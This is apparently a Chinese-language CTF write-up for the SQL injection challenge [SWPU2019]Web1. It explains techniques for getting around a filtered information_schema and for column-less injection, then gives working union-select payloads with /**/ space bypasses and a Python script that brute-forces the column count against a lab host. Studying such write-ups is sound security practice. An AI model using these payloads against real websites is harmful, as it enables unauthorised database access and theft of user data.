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由 GitBook 提供支持
在本页
  • [SWPU2019]Web1
  • 考点
  • 题解
  • bypass information_schema
  • 使用innoDB引擎绕过information_schema
  • 第三种姿势
  • 无列名注入
  • wp
在GitHub上编辑
  1. SQL注入

[SWPU2019]Web1

[SWPU2019]Web1

考点

  • bypass information_schema

  • 无列名注入

题解

bypass information_schema

information_schema 在mysql中就是个信息数据库,它保存着mysql服务器所维护的所有其他数据库的信息,包括了数据库名,表名,字段名等。

在注入中,infromation_schema 库的作用无非就是可以获取到 table_schema,table_name,column_name这些数据库内的信息。

mysql在5.7版本中新增了sys schemma,基础数据来自于performance_chema和information_schema两个库,本身数据库不存储数据

注:innoDB引擎也可以绕过对information_schema的过滤,但是mysql默认是关闭InnoDB存储引擎的

如果在设计表时,给每个表加一个自增的id字段,那么就可以使用这种方法

首先,schema_auto_increment_columns,该视图的作用简单来说就是用来对表自增ID的监控。那么我们可以通过该视图获取数据库的表名信息

如何获取没有自增主键的表的数据,这就要用到schema_table_statistics_with_buffer和x$schema_table_statistics_with_buffer

限制: mysql ≥ 5.7版本 要超级管理员才可以访问sys

select group_concat(table_name) from sys.schema_auto_increment_columns where table_schema=database();

select group_concat(table_name) from sys.schema_table_statistics_with_buffer where table_schema=database();

使用innoDB引擎绕过information_schema

  • 表引擎为 innoDB

  • MySQL > 5.5

  • innodb_table_stats、innodb_index_stats存放所有库名表名

  • select table_name from mysql.innodb_table_stats where database_name=库名;

第三种姿势

  • 爆库名 select 1,2,3 from users where 1=abc();

  • 爆表名 select 1,2,3 from users where Polygon(id);

  • 爆表名 select 1,2,3 from users where linestring(id);

  • 爆字段名 select 1,2,3 from users where (select * from (select * from users as a join users as b)as c);

  • 爆字段名 select 1,2,3 from users where (select * from (select * from users as a join users as b using(id))as c);

无列名注入

用数字表示对应的列

SELECT `2` FROM (SELECT 1,2,3 UNION SELECT * FROM users)a;

当反引号不能使用时,就可以使用别名

SELECT b FROM (SELECT 1,2 as b,3 UNION SELECT * FROM users)a;
SELECT c FROM (SELECT 1,2,3 c UNION SELECT * FROM users)a;

利用 join 报错来获取列名,分别获取第一个列和第三个列

select * from (select * from users as a join users b)c;
select * from (select * from users as a join users b using(id,username))c;

wp

上面说的三种姿势都不行。

首先,发现过滤了or,空格,information_schema,#

POST数据,提示为 The used SELECT statements have a different number of columns

title=a'/**/union/**/select/**/1,2,3,4'&content=aaaaaaa&ac=add

写个脚本爆破一下有多少列,结果为22列,显示位在2,3位

import requests

url_login = 'http://ec4c1a73-6f76-4f8c-997e-cb4a046191b3.node3.buuoj.cn/login.php'
url_add = 'http://ec4c1a73-6f76-4f8c-997e-cb4a046191b3.node3.buuoj.cn/addads.php'
url_detail = 'http://ec4c1a73-6f76-4f8c-997e-cb4a046191b3.node3.buuoj.cn/detail.php?id='

#payload = "a'/**/union/**/select/**/1"
#payload = "a'/**/union/**/select/**/1,2,3,4,5,6,7,8,9"
payload = "a'/**/union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19"

s = requests.Session()

login_data = {
    'username': 'testtest',
    'password': 'test',
    'ac': 'login'
}

s.post(url=url_login, data=login_data)

#for i in range(1, 10):
#for i in range(10, 20):
for i in range(20, 30):
    payload = payload + ',' + str(i)
    
    payload_data = {
        'title': payload + "'",
        'content': '123',
        'ac': 'add'
    }
    
    s.post(url=url_add, data=payload_data)
    
for i in range(2,90):
    r = s.get(url=url_detail+str(i))
    if 'The used SELECT' in r.text :
        print(i)

语句为

a'/**/union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'

这里进行无列名注入,查询users表进行无列名注入,查询第一列语句如下

select group_concat(a) from (select 1 as a,2 as b,3 as c union select * from users)x

在本题最终bypass语句如下

a'/**/union/**/select/**/1,(select/**/group_concat(c)/**/from/**/(select/**/1/**/as/**/a,2/**/as/**/b,3/**/as/**/c/**/union/**/select/**/*/**/from/**/users)x),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'
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